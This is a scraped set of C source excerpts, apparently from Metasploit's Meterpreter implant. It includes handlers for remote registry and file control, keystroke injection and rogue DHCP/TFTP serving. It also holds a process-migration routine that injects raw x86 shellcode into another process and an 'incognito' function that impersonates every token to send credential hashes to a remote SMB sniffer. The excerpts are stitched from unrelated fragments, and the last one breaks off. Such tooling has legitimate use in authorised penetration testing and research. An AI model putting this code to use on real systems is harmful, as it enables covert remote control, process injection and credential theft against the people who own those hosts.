/*
 * core_crypto_negotiate
 * ---------------------
 *
 * Negotiates a cryptographic session with the remote host
 *
 * req: TLV_TYPE_CIPHER_NAME       -- The cipher being selected.
 * opt: TLV_TYPE_CIPHER_PARAMETERS -- The paramters passed to the cipher for
 *                                    initialization
 */
DWORD remote_request_core_crypto_negotiate(Remote *remote, Packet *packet)
{
	LPCSTR cipherName = packet_get_tlv_value_string(packet,
			TLV_TYPE_CIPHER_NAME);
	DWORD res = ERROR_INVALID_PARAMETER;
	Packet *response = packet_create_response(packet);

	// If a cipher name was supplied, set it
	if (cipherName)
		res = remote_set_cipher(remote, cipherName, packet);

	// Transmit a response
	if (response)
	{
		res = packet_transmit_response(res, remote, response);
	}

	return ERROR_SUCCESS;
}
Пример #2
0
//Adds a file to serve based on the name and value specified in the packet
DWORD request_lanattacks_add_tftp_file(Remote *remote, Packet *packet){
	DWORD retval = ERROR_SUCCESS;
	char* name = NULL;
	unsigned int namelen = 0;
	Packet *response = packet_create_response(packet);

	do{
		Tlv tlv;
		//Get file contents
		if((retval = packet_get_tlv(packet, TLV_TYPE_LANATTACKS_RAW, &tlv)) != ERROR_SUCCESS)
			break;
		//Get file name
		name = packet_get_tlv_value_string(packet, TLV_TYPE_LANATTACKS_OPTION_NAME);
		namelen = strlen(name);
		addTFTPFile(tftpserver, name, namelen, tlv.buffer, tlv.header.length);
	} while (0);

	packet_transmit_response(retval, remote, response);
	return ERROR_SUCCESS;
}
Пример #3
0
//Set a DHCP option based on the name and value specified in the packet
DWORD request_lanattacks_set_dhcp_option(Remote *remote, Packet *packet){
	DWORD retval = ERROR_SUCCESS;
	char* name = NULL;
	unsigned int namelen = 0;
	Packet *response = packet_create_response(packet);

	do{
		//Get option value
		Tlv tlv;
		if((retval = packet_get_tlv(packet, TLV_TYPE_LANATTACKS_OPTION, &tlv)) != ERROR_SUCCESS)
			break;
		//Get option name
		name = packet_get_tlv_value_string(packet, TLV_TYPE_LANATTACKS_OPTION_NAME);
		namelen = strlen(name);
		setDHCPOption(dhcpserver, name, namelen, tlv.buffer, tlv.header.length);
	} while (0);

	packet_transmit_response(retval, remote, response);
	return ERROR_SUCCESS;
}
DWORD request_core_enumextcmd(Remote* remote, Packet* packet)
{
	BOOL bResult = FALSE;
	Packet* pResponse = packet_create_response(packet);

	if (pResponse != NULL)
	{
		EnumExtensions enumExt;
		enumExt.pResponse = pResponse;
		enumExt.lpExtensionName = packet_get_tlv_value_string(packet, TLV_TYPE_STRING);

		dprintf("[LISTEXTCMD] Listing extension commands for %s ...", enumExt.lpExtensionName);
		// Start by enumerating the names of the extensions
		bResult = list_enumerate(gExtensionList, ext_cmd_callback, &enumExt);

		packet_transmit_response(ERROR_SUCCESS, remote, pResponse);
	}

	return ERROR_SUCCESS;
}
Пример #5
0
DWORD request_registry_unload_key(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	LPCTSTR baseKey = NULL;
	HKEY rootKey = NULL;
	DWORD result;

	rootKey    = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY);
	baseKey    = packet_get_tlv_value_string(packet, TLV_TYPE_BASE_KEY);

	if ((!rootKey) || (!baseKey))
		result = ERROR_INVALID_PARAMETER;
	else
	{
		result = RegUnLoadKey(rootKey,baseKey);
	}
	packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
	packet_transmit(remote, response, NULL);
	return ERROR_SUCCESS;
}
Пример #6
0
DWORD remote_request_core_transport_remove(Remote* remote, Packet* packet)
{
	DWORD result = ERROR_SUCCESS;

	// make sure we are not trying to remove the last transport
	if (remote->transport == remote->transport->prev_transport) {
		dprintf("[DISPATCH] Refusing to delete the last transport");
		result = ERROR_INVALID_FUNCTION;
	}
	else {
		Transport* found = NULL;
		Transport* transport = remote->transport;
		char* transportUrl = packet_get_tlv_value_string(packet, TLV_TYPE_TRANS_URL);

		do {
			if (strcmp(transportUrl, transport->url) == 0) {
				found = transport;
				break;
			}

			transport = transport->next_transport;
		} while (transport != remote->transport);

		if (found == NULL || found == remote->transport) {
			dprintf("[DISPATCH] Transport not found, or attempting to remove current");
			// if we don't have a valid transport, or they're trying to remove the
			// existing one, then bomb out (that might come later)
			result = ERROR_INVALID_PARAMETER;
		}
		else {
			remote->trans_remove(remote, found);
			dprintf("[DISPATCH] Transport removed");
		}

		SAFE_FREE(transportUrl);
	}

	packet_transmit_empty_response(remote, packet, result);
	dprintf("[DISPATCH] Response sent.");
	return result;
}
Пример #7
0
static DWORD open_key(Packet *packet, HKEY *rootKey, HKEY *resKey)
{
	LPCTSTR baseKey = NULL;
	DWORD result = ERROR_INVALID_PARAMETER;
	DWORD permission;

	*rootKey    = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY);
	baseKey    = packet_get_tlv_value_string(packet, TLV_TYPE_BASE_KEY);
	permission = packet_get_tlv_value_uint(packet, TLV_TYPE_PERMISSION);

	// Validate the parameters and then attempt to create the key
	if (rootKey && baseKey)
	{
		if (!permission)
			permission = KEY_ALL_ACCESS;

		result = RegOpenKeyEx(*rootKey, baseKey, 0, permission, resKey);
	}

	return result;
}
Пример #8
0
DWORD request_resolve_host(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	LPCSTR hostname = NULL;
	struct in_addr addr;
	struct in6_addr addr6;
	u_short ai_family = AF_INET;
	int iResult;

	hostname = packet_get_tlv_value_string(packet, TLV_TYPE_HOST_NAME);

	if (!hostname)
	{
		iResult = ERROR_INVALID_PARAMETER;
		dprintf("Hostname not set");
	}
	else
	{
		ai_family = packet_get_tlv_value_uint(packet, TLV_TYPE_ADDR_TYPE);
		iResult = resolve_host(hostname, ai_family, &addr, &addr6);
		if (iResult == NO_ERROR)
		{
			if (ai_family == AF_INET)
			{
				packet_add_tlv_raw(response, TLV_TYPE_IP, &addr, sizeof(struct in_addr));
			} else {
				packet_add_tlv_raw(response, TLV_TYPE_IP, &addr6, sizeof(struct in_addr6));
			}
			packet_add_tlv_uint(response, TLV_TYPE_ADDR_TYPE, ai_family);
		}
		else
		{
			dprintf("Unable to resolve_host %s error: %x", hostname, iResult);
		}
	}

	packet_transmit_response(iResult, remote, response);
	return ERROR_SUCCESS;
}
Пример #9
0
/*
 * Sets a registry value with the supplied data for a given HKEY.
 *
 * TLVs:
 *
 * req: TLV_TYPE_HKEY       - The HKEY to set the value on
 * req: TLV_TYPE_VALUE_NAME - The name of the value to set
 * req: TLV_TYPE_VALUE_TYPE - The type of the value to set
 * req: TLV_TYPE_VALUE_DATA - The data to set the value to
 */
DWORD request_registry_set_value(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	LPCSTR valueName = NULL;
	DWORD valueType = 0;
	DWORD result = ERROR_SUCCESS;
	HKEY hkey = NULL;
	Tlv valueData;

	// Acquire the standard TLVs
	hkey      = (HKEY)packet_get_tlv_value_uint(packet, TLV_TYPE_HKEY);
	valueName = packet_get_tlv_value_string(packet, TLV_TYPE_VALUE_NAME);
	valueType = packet_get_tlv_value_uint(packet, TLV_TYPE_VALUE_TYPE);
	
	do
	{
		// Get the value data TLV
		if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, 
				&valueData) != ERROR_SUCCESS)
		{
			result = ERROR_INVALID_PARAMETER;
			break;
		}

		// Now let's rock this shit!
		result = RegSetValueEx(hkey, valueName, 0, valueType, 
				valueData.buffer, valueData.header.length);

	} while (0);

	// Populate the result code
	packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);

	// Transmit the response
	packet_transmit(remote, response, NULL);

	return ERROR_SUCCESS;
}
Пример #10
0
/*!
 * @brief Check to see if a registry key exists.
 * @param remote Pointer to the \c Remote instance.
 * @param packet Pointer to the request \c Packet instance.
 * @returns Always returns \c ERROR_SUCCESS.
 */
DWORD request_registry_check_key_exists(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	LPCTSTR baseKey = NULL;
	HKEY rootKey = NULL;
	HKEY resultKey = NULL;
	BOOL exists = FALSE;
	DWORD result;

	rootKey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY);
	baseKey = packet_get_tlv_value_string(packet, TLV_TYPE_BASE_KEY);

	if (rootKey && baseKey)
	{
		result = RegOpenKeyA(rootKey, baseKey, &resultKey);
		if (result == ERROR_SUCCESS)
		{
			dprintf("[REG] Key found");
			RegCloseKey(resultKey);
			exists = TRUE;
		}

		dprintf("[REG] Key exists? %s", exists ? "TRUE" : "FALSE");
		packet_add_tlv_bool(response, TLV_TYPE_BOOL, exists);
		result = ERROR_SUCCESS;
	}
	else
	{
		dprintf("[REG] Invalid parameter");
		result = ERROR_INVALID_PARAMETER;
	}

	dprintf("[REG] Returning result: %u %x", result, result);
	packet_transmit_response(result, remote, response);

	dprintf("[REG] done.");
	return ERROR_SUCCESS;
}
Пример #11
0
/*
 * Removes the supplied file from disk
 *
 * TLVs:
 *
 * req: TLV_TYPE_FILE_PATH - The file that is to be removed.
 */
DWORD request_fs_delete_file(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	LPCSTR path;
	DWORD result = ERROR_SUCCESS;

	path = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);

	if (!path)
		result = ERROR_INVALID_PARAMETER;
#ifdef _WIN32
	else if (!DeleteFile(path))
#else
	else if (!unlink(path))
#endif
		result = GetLastError();

	packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);

	packet_transmit(remote, response, NULL);

	return ERROR_SUCCESS;
}
Пример #12
0
/*
 * Expands a file path and returns the expanded path to the requestor
 *
 * req: TLV_TYPE_FILE_PATH - The file path to expand
 */
DWORD request_fs_file_expand_path(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	DWORD result = ERROR_SUCCESS;
	LPSTR expanded = NULL;
	LPSTR regular;

	regular = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);

	do
	{
		// No regular path?
		if (!regular)
		{
			result = ERROR_INVALID_PARAMETER;
			break;
		}

		// Allocate storage for the expanded path
		if (!(expanded = fs_expand_path(regular)))
		{
			result = ERROR_NOT_ENOUGH_MEMORY;
			break;
		}

		packet_add_tlv_string(response, TLV_TYPE_FILE_PATH, expanded);

	} while (0);

	// Transmit the response to the mofo
	packet_transmit_response(result, remote, response);

	if (expanded)
		free(expanded);

	return ERROR_SUCCESS;
}
Пример #13
0
DWORD request_ui_send_keys(Remote *remote, Packet *request)
{
	Packet *response = packet_create_response(request);
	DWORD result = ERROR_SUCCESS;
	wchar_t *keys = utf8_to_wchar(packet_get_tlv_value_string(request, TLV_TYPE_KEYS_SEND));
	if (keys) 
	{
		INPUT input[2] = {0};
		input[0].type = INPUT_KEYBOARD;
		input[0].ki.time = 0;
		input[0].ki.wVk = 0;
		input[0].ki.dwExtraInfo = 0;
		input[0].ki.dwFlags = KEYEVENTF_UNICODE;
		input[1].type = INPUT_KEYBOARD;
		input[1].ki.time = 0;
		input[1].ki.wVk = 0;
		input[1].ki.dwExtraInfo = 0;
		input[1].ki.dwFlags = KEYEVENTF_UNICODE | KEYEVENTF_KEYUP;
		wchar_t *loopkeys = keys;
		while (*loopkeys != 0) 
		{
			input[0].ki.wScan = *loopkeys;
			input[1].ki.wScan = *loopkeys;
			SendInput(2, input, sizeof(INPUT));
			loopkeys++;
		}
		free(keys);
	}
	else 
	{
		result = 1;
	}

	// Transmit the response
	packet_transmit_response(result, remote, response);
	return ERROR_SUCCESS;
}
Пример #14
0
/*
 * Gets information about the file path that is supplied and returns it to the
 * requestor
 *
 * TLVs:
 *
 * req: TLV_TYPE_FILE_PATH - The file path that is to be stat'd
 */
DWORD request_fs_stat(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	struct stat buf;
	LPCSTR filePath;
	LPSTR expanded = NULL;
	DWORD result = ERROR_SUCCESS;

	filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);

	// Validate parameters
	if (!filePath)
		result = ERROR_INVALID_PARAMETER;
	else if (!(expanded = fs_expand_path(filePath)))
		result = ERROR_NOT_ENOUGH_MEMORY;
	else
	{
		// Stat the file using the Microsoft stat wrapper so that we don't have to
		// do translations
		if (stat(expanded, &buf) < 0)
			result = GetLastError();
		else
			packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &buf,
					sizeof(buf));
	}

	// Set the result and transmit the response
	packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);

	packet_transmit(remote, response, NULL);

	if (expanded)
		free(expanded);

	return ERROR_SUCCESS;
}
Пример #15
0
/*
 * Creates a registry key and returns the associated HKEY to the caller if the
 * operation succeeds.
 *
 * TLVs:
 *
 * req: TLV_TYPE_ROOT_KEY   - The root key
 * req: TLV_TYPE_BASE_KEY   - The base key
 * opt: TLV_TYPE_PERMISSION - Permissions with which to create the key
 */
DWORD request_registry_create_key(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	LPCTSTR baseKey = NULL;
	HKEY rootKey = NULL, resKey;
	DWORD permission;
	DWORD result;

	rootKey    = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY);
	baseKey    = packet_get_tlv_value_string(packet, TLV_TYPE_BASE_KEY);
	permission = packet_get_tlv_value_uint(packet, TLV_TYPE_PERMISSION);

	// Validate the parameters and then attempt to create the key
	if ((!rootKey) || (!baseKey))
		result = ERROR_INVALID_PARAMETER;
	else
	{
		if (!permission)
			permission = KEY_ALL_ACCESS;

		result = RegCreateKeyEx(rootKey, baseKey, 0, NULL, 0,
				permission, NULL, &resKey, NULL);
	}

	// Add the HKEY if we succeeded, but always return a result
	if (result == ERROR_SUCCESS)
	{
		packet_add_tlv_qword(response, TLV_TYPE_HKEY, (QWORD)resKey);
	}

	packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);

	packet_transmit(remote, response, NULL);

	return ERROR_SUCCESS;
}
Пример #16
0
/*
 * Deletes a registry value from the supplied registry key
 *
 * TLVs:
 *
 * req: TLV_TYPE_HKEY       - The HKEY from which to delete the value
 * req: TLV_TYPE_VALUE_NAME = The name of the value to delete
 */
DWORD request_registry_delete_value(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	LPCSTR valueName = NULL;
	DWORD result = ERROR_SUCCESS;
	HKEY hkey = NULL;

	hkey      = (HKEY)packet_get_tlv_value_uint(packet, TLV_TYPE_HKEY);
	valueName = (LPCSTR)packet_get_tlv_value_string(packet, TLV_TYPE_VALUE_NAME);

	// Check for invalid parameters
	if ((!hkey) || 
	    (!valueName))
		result = ERROR_INVALID_PARAMETER;
	else
		result = RegDeleteValue(hkey, valueName);

	// Set the result and send the response
	packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);

	packet_transmit(remote, response, NULL);

	return ERROR_SUCCESS;
}
Пример #17
0
/*
 * Returns the address of a procedure that is associated with the supplied
 * module to the requestor.
 *
 * req: TLV_TYPE_IMAGE_NAME     - The name of the image to query.
 * req: TLV_TYPE_PROCEDURE_NAME - The name of the procedure to query.
 */
DWORD request_sys_process_image_get_proc_address(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	DWORD result = ERROR_SUCCESS;
	HMODULE mod = NULL;
	BOOLEAN unload = FALSE;
	HANDLE process;
	LPCSTR image;
	LPCSTR procedure;
	LPVOID address = NULL;

	process   = (HANDLE)packet_get_tlv_value_uint(packet, TLV_TYPE_HANDLE);
	image     = packet_get_tlv_value_string(packet, TLV_TYPE_IMAGE_FILE);
	procedure = packet_get_tlv_value_string(packet, TLV_TYPE_PROCEDURE_NAME);

	do
	{
		// Validate parameters
		if ((!image) ||
		    (!procedure))
		{
			result = ERROR_INVALID_PARAMETER;
			break;
		}

		// If the process handle is not this process...
		if (process != GetCurrentProcess())
		{
			if ((result = remote_load_library(process, image, 
					&mod)) != ERROR_SUCCESS)
				break;
			
			if ((result = remote_get_proc_address(process, mod, procedure,
					&address)) != ERROR_SUCCESS)
				break;
		}
		// Otherwise, load the library locally
		else
		{
			unload = TRUE;

			if (!(mod = LoadLibrary(image)))
			{
				result = GetLastError();
				break;
			}

			// Try to resolve the procedure name
			if (!(address = (LPVOID)GetProcAddress(mod, procedure)))
			{
				result = GetLastError();
				break;
			}
		}

		// Set the procedure address on the response
		packet_add_tlv_uint(response, TLV_TYPE_PROCEDURE_ADDRESS, 
				(DWORD)address);

	} while (0);

	// Lose the reference to the module
	if ((mod) &&
	    (unload))
		FreeLibrary(mod);
	else if (mod)
		remote_unload_library(process, mod);

	// Transmit the response
	packet_transmit_response(result, remote, response);

	return ERROR_SUCCESS;
}
Пример #18
0
/*!
 * @brief Allocates a streaming TCP server channel.
 * @param remote Pointer to the remote instance.
 * @param packet Pointer to the request packet.
 * @returns Indication of success or failure.
 * @retval ERROR_SUCCESS Opening the server channel completed successfully.
 */
DWORD request_net_tcp_server_channel_open(Remote * remote, Packet * packet)
{
    DWORD dwResult = ERROR_SUCCESS;
    TcpServerContext * ctx = NULL;
    Packet * response = NULL;
    char * localHost = NULL;
    StreamChannelOps chops = { 0 };
    USHORT localPort = 0;
    BOOL v4Fallback = FALSE;

    do
    {
        response = packet_create_response(packet);
        if (!response)
        {
            BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. response == NULL", ERROR_NOT_ENOUGH_MEMORY);
        }

        ctx = (TcpServerContext *)malloc(sizeof(TcpServerContext));
        if (!ctx)
        {
            BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. ctx == NULL", ERROR_NOT_ENOUGH_MEMORY);
        }

        memset(ctx, 0, sizeof(TcpServerContext));

        ctx->remote = remote;

        localPort = (USHORT)(packet_get_tlv_value_uint(packet, TLV_TYPE_LOCAL_PORT) & 0xFFFF);
        if (!localPort)
        {
            BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. localPort == NULL", ERROR_INVALID_HANDLE);
        }

        localHost = packet_get_tlv_value_string(packet, TLV_TYPE_LOCAL_HOST);

        ctx->fd = WSASocket(AF_INET6, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
        if (ctx->fd == INVALID_SOCKET)
        {
            v4Fallback = TRUE;
        }
        else
        {
            int no = 0;
            if (setsockopt(ctx->fd, IPPROTO_IPV6, IPV6_V6ONLY, (char*)&no, sizeof(no)) == SOCKET_ERROR)
            {
                // fallback to ipv4 - we're probably running on Windows XP or earlier here, which means that to
                // support IPv4 and IPv6 we'd need to create two separate sockets. IPv6 on XP isn't that common
                // so instead, we'll just revert back to v4 and listen on that one address instead.
                closesocket(ctx->fd);
                v4Fallback = TRUE;
            }
        }

        struct sockaddr_in6 sockAddr = { 0 };
        DWORD sockAddrSize = 0;

        if (v4Fallback)
        {
            struct sockaddr_in* v4Addr = (struct sockaddr_in*)&sockAddr;
            v4Addr->sin_addr.s_addr = localHost == NULL ? htons(INADDR_ANY) : inet_addr(localHost);
            v4Addr->sin_family = AF_INET;
            v4Addr->sin_port = htons(localPort);
            sockAddrSize = sizeof(struct sockaddr_in);
        }
        else
        {
            // TODO: add IPv6 address binding support
            sockAddr.sin6_addr = in6addr_any;
            sockAddr.sin6_family = AF_INET6;
            sockAddr.sin6_port = htons(localPort);
            sockAddrSize = sizeof(struct sockaddr_in6);
        }

        if (bind(ctx->fd, (SOCKADDR *)&sockAddr, sockAddrSize) == SOCKET_ERROR)
        {
            BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. bind failed");
        }

        if (listen(ctx->fd, SOMAXCONN) == SOCKET_ERROR)
        {
            BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. listen failed");
        }

        ctx->notify = WSACreateEvent();
        if (ctx->notify == WSA_INVALID_EVENT)
        {
            BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. WSACreateEvent failed");
        }

        if (WSAEventSelect(ctx->fd, ctx->notify, FD_ACCEPT) == SOCKET_ERROR)
        {
            BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. WSAEventSelect failed");
        }

        ctx->ipv6 = !v4Fallback;

        memset(&chops, 0, sizeof(StreamChannelOps));
        chops.native.context = ctx;
        chops.native.close = tcp_channel_server_close;

        ctx->channel = channel_create_stream(0, CHANNEL_FLAG_SYNCHRONOUS, &chops);
        if (!ctx->channel)
        {
            BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE);
        }

        scheduler_insert_waitable(ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_server_notify, NULL);

        packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->channel));

        dprintf("[TCP-SERVER] request_net_tcp_server_channel_open. tcp server %s:%d on channel %d", localHost, localPort, channel_get_id(ctx->channel));

    } while (0);

    packet_transmit_response(dwResult, remote, response);

    do
    {
        if (dwResult == ERROR_SUCCESS)
        {
            break;
        }

        dprintf("[TCP-SERVER] Error encountered %u 0x%x", dwResult, dwResult);

        if (!ctx)
        {
            break;
        }

        if (ctx->fd)
        {
            dprintf("[TCP-SERVER] Destroying socket");
            closesocket(ctx->fd);
        }

        if (ctx->channel)
        {
            dprintf("[TCP-SERVER] Destroying channel");
            channel_destroy(ctx->channel, packet);
        }

        free(ctx);

    } while (0);

    return dwResult;
}
Пример #19
0
DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
{
	MigrationStubContext context;
	TOKEN_PRIVILEGES privs;
	HANDLE token = NULL;
	Packet *response = packet_create_response(packet);
	HANDLE process = NULL;
	HANDLE thread = NULL;
	HANDLE event = NULL;
	LPVOID dataBase;
	LPVOID codeBase;
	DWORD threadId;
	DWORD result = ERROR_SUCCESS;
	DWORD pid;
	PUCHAR payload;

	// Bug fix for Ticket #275: recv the migrate payload into a RWX buffer instead of straight onto the stack (Stephen Fewer).
	BYTE stub[] =
		"\x8B\x74\x24\x04"         //  mov esi,[esp+0x4]         ; ESI = MigrationStubContext *
		"\x89\xE5"                 //  mov ebp,esp               ; create stack frame
		"\x81\xEC\x00\x40\x00\x00" //  sub esp, 0x4000           ; alloc space on stack
		"\x8D\x4E\x20"             //  lea ecx,[esi+0x20]        ; ECX = MigrationStubContext->ws2_32
		"\x51"                     //  push ecx                  ; push "ws2_32"
		"\xFF\x16"                 //  call near [esi]           ; call loadLibrary
		"\x54"                     //  push esp                  ; push stack address
		"\x6A\x02"                 //  push byte +0x2            ; push 2
		"\xFF\x56\x0C"             //  call near [esi+0xC]       ; call wsaStartup
		"\x6A\x00"                 //  push byte +0x0            ; push null
		"\x6A\x00"                 //  push byte +0x0            ; push null
		"\x8D\x46\x28"             //  lea eax,[esi+0x28]        ; EAX = MigrationStubContext->info
		"\x50"                     //  push eax                  ; push our duplicated socket
		"\x6A\x00"                 //  push byte +0x0            ; push null
		"\x6A\x02"                 //  push byte +0x2            ; push 2
		"\x6A\x01"                 //  push byte +0x1            ; push 1
		"\xFF\x56\x10"             //  call near [esi+0x10]      ; call wsaSocket
		"\x97"                     //  xchg eax,edi              ; edi now = our duplicated socket
		"\xFF\x76\x1C"             //  push dword [esi+0x1C]     ; push our event
		"\xFF\x56\x18"             //  call near [esi+0x18]      ; call setevent
		"\xFF\x76\x04"             //  push dword [esi+0x04]     ; push the address of the payloadBase
		"\xC3";                    //  ret                       ; return into the payload

	// Get the process identifier to inject into
	pid = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID);

	// Bug fix for Ticket #275: get the desired length of the to-be-read-in payload buffer...
	context.payloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN);

	// Receive the actual migration payload (metsrv.dll + loader)
	payload = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD);

	// Try to enable the debug privilege so that we can migrate into system
	// services if we're administrator.
	if (OpenProcessToken(
			GetCurrentProcess(),
			TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
			&token))
	{
		privs.PrivilegeCount           = 1;
		privs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	
		LookupPrivilegeValue(NULL, SE_DEBUG_NAME,
				&privs.Privileges[0].Luid);
	
		AdjustTokenPrivileges(token, FALSE, &privs, 0, NULL, NULL);

		CloseHandle(token);
	}

	do
	{
		// Open the process so that we can into it
		if (!(process = OpenProcess(
				PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | 
				PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, FALSE, pid)))
		{
			result = GetLastError();
			break;
		}

		// If the socket duplication fails...
		if (WSADuplicateSocket(remote_get_fd(remote), pid, &context.info) != NO_ERROR)
		{
			result = WSAGetLastError();
			break;
		}

		// Create a notification event that we'll use to know when
		// it's safe to exit (once the socket has been referenced in
		// the other process)
		if (!(event = CreateEvent(NULL, TRUE, FALSE, NULL)))
		{
			result = GetLastError();
			break;
		}

		// Duplicate the event handle into the target process
		if (!DuplicateHandle(GetCurrentProcess(), event,
				process, &context.event, 0, TRUE, DUPLICATE_SAME_ACCESS))
		{
			result = GetLastError();
			break;
		}

		// Initialize the migration context
		context.loadLibrary    = (LPVOID)GetProcAddress(GetModuleHandle("kernel32"), "LoadLibraryA");
		context.wsaStartup     = (LPVOID)GetProcAddress(GetModuleHandle("ws2_32"), "WSAStartup");
		context.wsaSocket      = (LPVOID)GetProcAddress(GetModuleHandle("ws2_32"), "WSASocketA");
		context.recv           = (LPVOID)GetProcAddress(GetModuleHandle("ws2_32"), "recv");
		context.setevent       = (LPVOID)GetProcAddress(GetModuleHandle("kernel32"), "SetEvent");

		strcpy(context.ws2_32, "ws2_32");

		// Allocate storage for the stub and context
		if (!(dataBase = VirtualAllocEx(process, NULL, sizeof(MigrationStubContext) + sizeof(stub), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
		{
			result = GetLastError();
			break;
		}

		// Bug fix for Ticket #275: Allocate a RWX buffer for the to-be-read-in payload...
		if (!(context.payloadBase = VirtualAllocEx(process, NULL, context.payloadLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
		{
			result = GetLastError();
			break;
		}

		// Initialize the data and code base in the target process
		codeBase = (PCHAR)dataBase + sizeof(MigrationStubContext);

		if (!WriteProcessMemory(process, dataBase, &context, sizeof(context), NULL))
		{
			result = GetLastError();
			break;
		}

		if (!WriteProcessMemory(process, codeBase, stub, sizeof(stub), NULL))
		{
			result = GetLastError();
			break;
		}

		if (!WriteProcessMemory(process, context.payloadBase, payload, context.payloadLength, NULL))
		{
			result = GetLastError();
			break;
		}

		// Send a successful response to let them know that we've pretty much
		// successfully migrated and are reaching the point of no return
		packet_transmit_response(result, remote, response);
		
		// XXX: Skip SSL shutdown/notify, as it queues a TLS alert on the socket.
		// Shut down our SSL session
		// ssl_close_notify(&remote->ssl);
		// ssl_free(&remote->ssl);


		response = NULL;

		// Create the thread in the remote process
		if (!(thread = CreateRemoteThread(process, NULL, 1024*1024, (LPTHREAD_START_ROUTINE)codeBase, dataBase, 0, &threadId)))
		{
			result = GetLastError();
			ExitThread(result);
		}

		// Wait at most 5 seconds for the event to be set letting us know that
		// it's finished
		if (WaitForSingleObjectEx(event, 5000, FALSE) != WAIT_OBJECT_0)
		{
			result = GetLastError();
			ExitThread(result);
		}
		

		// Exit the current process now that we've migrated to another one
		dprintf("Shutting down the Meterpreter thread...");
		ExitThread(0);

	} while (0);

	// If we failed and have not sent the response, do so now
	if (result != ERROR_SUCCESS && response)
		packet_transmit_response(result, remote, response);

	// Cleanup
	if (process)
		CloseHandle(process);
	if (thread)
		CloseHandle(thread);
	if (event)
		CloseHandle(event);

	return ERROR_SUCCESS;
}
// Send off hashes for all tokens to IP address with SMB sniffer running
DWORD request_incognito_snarf_hashes(Remote *remote, Packet *packet)
{
	DWORD num_tokens = 0, i;
	SavedToken *token_list = NULL;
	NETRESOURCEW nr;
	HANDLE saved_token;
	TOKEN_PRIVS token_privs;
	wchar_t conn_string[BUF_SIZE] = L"", domain_name[BUF_SIZE] = L"",
		return_value[BUF_SIZE] = L"", temp[BUF_SIZE] = L"";

	Packet *response = packet_create_response(packet);
	char *smb_sniffer_ip = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME);

	// Initialise net_resource structure (essentially just set ip to that of smb_sniffer)
	if (_snwprintf(conn_string, BUF_SIZE, L"\\\\%s", smb_sniffer_ip) == -1)
	{
		conn_string[BUF_SIZE - 1] = '\0';
	}
	nr.dwType       = RESOURCETYPE_ANY;
	nr.lpLocalName  = NULL;
	nr.lpProvider   = NULL;
	nr.lpRemoteName = conn_string;

	// Save current thread token if one is currently being impersonated
	if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &saved_token))
		saved_token = INVALID_HANDLE_VALUE;

	token_list = get_token_list(&num_tokens, &token_privs);
	if (!token_list)
	{
		packet_transmit_response(GetLastError(), remote, response);
		goto cleanup;
	}

	// Use every token and get hashes by connecting to SMB sniffer
	for (i = 0; i < num_tokens; i++)
	{
		if (token_list[i].token)
		{
			get_domain_from_token(token_list[i].token, domain_name, BUF_SIZE);
			// If token is not "useless" local account connect to sniffer
			// XXX This may need some expansion to support other languages
			if (_wcsicmp(domain_name, L"NT AUTHORITY"))
			{
				// Impersonate token
				ImpersonateLoggedOnUser(token_list[i].token);

				// Cancel previous connection to ensure hashes are sent and existing connection isn't reused
				WNetCancelConnection2W(nr.lpRemoteName, 0, TRUE);

				// Connect to smb sniffer
				if (!WNetAddConnection2W(&nr, NULL, NULL, 0))
				{
					// Revert to primary token
					RevertToSelf();
				}
			}
			CloseHandle(token_list[i].token);
		}
	}

	packet_transmit_response(ERROR_SUCCESS, remote, response);

